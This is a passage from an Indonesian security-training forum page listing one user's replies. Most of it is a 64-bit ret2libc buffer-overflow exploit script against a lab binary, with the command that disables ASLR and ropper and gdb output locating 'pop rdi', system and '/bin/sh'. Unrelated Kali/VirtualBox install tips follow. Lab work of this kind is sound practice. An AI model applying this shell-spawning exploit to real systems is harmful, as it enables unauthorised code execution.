Forum Replies Created
-
AuthorPosts
-
Bearti alamat gadget jadi 0x27c65 gitu kak?
=========================nx_exploit==========================
import struct
import syspadding =”A”*96
padding +=”B”*8 #8 byte untuk menuju rip
system_addr = struct.pack(“<Q”,0x7ffff7e15920)
bin_sh = struct.pack(“<Q”,0x7ffff7f5f04f)
gadget = struct.pack(“<Q”,0x0000000000027c65) # pop rdi; ret
ret_gadget = struct.pack(“<Q”,0x7ffff7df0c65)payload = padding + gadget + bin_sh + ret_gadget + system_addr
sys.stdout.write(payload)
==================================================================================mematikan aslr=====================
┌──(root㉿kali)-[/home/…/Documents/ITBOX/phoenix/64bit]
└─# echo 0 > /proc/sys/kernel/randomize_va_space┌──(root㉿kali)-[/home/…/Documents/ITBOX/phoenix/64bit]
└─# exit┌──(alvin㉿kali)-[~/Documents/ITBOX/phoenix/64bit]
└─$ ldd vuln
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc9000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)┌──(alvin㉿kali)-[~/Documents/ITBOX/phoenix/64bit]
└─$ ldd vuln
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc9000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
=============================================================
=========================ropper=============================
sudo ropper –file /usr/lib/x86_64-linux-gnu/libc.so.6 –search “pop rdi”
0x0000000000027c65: pop rdi; ret;
=============================================================
===========================gdb==============================
gdb-peda$ p system
$7 = {int (const char *)} 0x7ffff7e15920 <__libc_system>
gdb-peda$ find “/bin/sh”
Searching for ‘/bin/sh’ in: None ranges
Found 1 results, display max 1 items:
libc.so.6 : 0x7ffff7f5f04f –> 0x68732f6e69622f (‘/bin/sh’)
gdb-peda$ vmmap
Start End Perm Name
0x00007ffff7dc6000 0x00007ffff7dc9000 rw-p mapped
0x00007ffff7dc9000 0x00007ffff7def000 r–p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7def000 0x00007ffff7f44000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f44000 0x00007ffff7f98000 r–p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f98000 0x00007ffff7f9c000 r–p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9c000 0x00007ffff7f9e000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9e000 0x00007ffff7fab000 rw-p mapped
0x00007ffff7fc3000 0x00007ffff7fc5000 rw-p mapped
0x00007ffff7fc5000 0x00007ffff7fc9000 r–p [vvar]
0x00007ffff7fc9000 0x00007ffff7fcb000 r-xp [vdso]
0x00007ffff7fcb000 0x00007ffff7fcc000 r–p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fcc000 0x00007ffff7ff1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 r–p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 r–p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
gdb-peda$ x/2i 0x00007ffff7dc9000 + 0x0000000000027c65
0x7ffff7df0c65 <iconv+197>: pop rdi
0x7ffff7df0c66 <iconv+198>: retErrornya apa ya? Kalau dulu langsung install aja otomatis install Microsoft Visual C++
https://www.kali.org/get-kali/#kali-virtual-machines
Kemudian download versi VirtualBox yg Recommendeddownload kali linux versi ova juga bisa
-
AuthorPosts